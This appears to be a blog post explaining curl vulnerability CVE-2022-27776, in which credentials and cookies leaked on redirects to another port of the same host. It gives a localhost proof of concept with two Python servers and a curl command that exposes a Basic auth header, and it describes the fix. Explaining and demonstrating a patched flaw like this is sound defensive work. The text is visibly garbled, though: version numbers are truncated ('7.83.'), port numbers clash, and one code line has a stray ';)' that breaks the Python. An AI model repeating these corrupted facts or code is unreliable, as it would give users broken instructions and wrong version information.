Curl is one of the most popular tools and libraries for transferring data with URLs. Whether you’re running a command-line script or using it as a library in your code, you probably deal with curl almost every day. But did you know that a small bug in curl’s HTTP redirect handling could have exposed your authentication data or cookies to the wrong place? That’s exactly what happened with CVE-2022-27776, patched in curl version 7.83..

In this post, we’ll break down what went wrong, see proof-of-concept code, reference the original sources, and explain why you should upgrade now.

What is CVE-2022-27776?

CVE-2022-27776 is a security vulnerability in curl and libcurl, discovered in early 2022. The bug is about how curl handles HTTP redirects (3xx responses). Usually, when you’re authenticated (using a password or cookies) and you’re redirected, curl tries to be smart about which data it sends to the new location.

But in this case, curl would send your authentication headers and cookies when redirected to the “same host” — even if the port number changed. This could mean leaking sensitive data (like usernames, passwords, or session cookies) to a service listening weirdly on another port on the same hostname.

Why Does This Matter?

Suppose you're logged in at https://example.com:443 and you follow a redirect to https://example.com:808. Curl sees the hostname is the same, so — bug! — it *wrongly* thinks it’s safe to reuse your Authorization or Cookie headers.

But the different port could mean a completely different service is running there, perhaps controlled by another admin, or even an attacker who can sniff your secrets. This breaks a basic security principle: _authentication data should only go where you intend_.

Code Example: See the Leak in Action

Here's a small demonstration of how this could be abused. You'll need two services running on your machine, one on port 800 and another on port 8001. The first server redirects you to the second, and the second just shows you headers received.

Start a redirecting server on 800:  

# redirect_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://localhost:8001/';)
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(('localhost', 800), RedirectHandler).serve_forever()

Start a header-sniffing server on 8001:

# header_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer

class HeaderDumper(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(str(self.headers).encode())

if __name__ == "__main__":
    HTTPServer(('localhost', 8001), HeaderDumper).serve_forever()

Run both scripts in different terminals, then use (vulnerable) curl in another terminal

curl -L -u admin:password http://localhost:800/

Before version 7.83., you’d see the Authorization: Basic ... header show up in the output of the header server on port 8001! (Or, if you use --cookie, your cookies, too.)

Original References

- Curl Security Advisory on CVE-2022-27776
- National Vulnerability Database Entry
- Patch in GitHub

Exploit Details

Curl, when following HTTP(S) redirects, tracks which headers are “safe” to forward. It treats anything going to “the same origin” as safe — but before 7.83., it defined “origin” only by hostname, *ignoring the port number*. This is contrary to the RFC 6454, which defines origin as *scheme + hostname + port*.

So if you had an authentication header that should never leave example.com:443, but you got redirected to example.com:808, curl would send the secret anyway.

The Fix

The fix, released in curl 7.83., is simple: now curl counts the port as part of the “origin”. It refuses to forward authentication or cookie headers to a different port at the same host, unless you tell it otherwise.

Updated logic in the patch

// lib/http.c snippet (simplified)
if(same_host && same_port) {
  // ok to forward auth/cookies
} else {
  // strip sensitive headers
}

If you can’t update immediately, avoid following redirects from known services to different ports.

- Be careful with -L (for following redirects), especially when using -u (user/pass) or --cookie.

In Summary

CVE-2022-27776 is a perfect example of how small mistakes in code can lead to significant leaks of sensitive user information. Since curl is everywhere — from Linux scripts to heavy backend workloads — updating is critical for everyone.

If you depend on curl for anything requiring authentication or cookies, upgrade now!

*Written for exclusive publication — please credit or link if sharing.*

More Information

- Download Latest Curl
- Curl Security Advisories

Timeline

Published on: 06/02/2022 14:15:00 UTC
Last modified on: 08/29/2022 01:15:00 UTC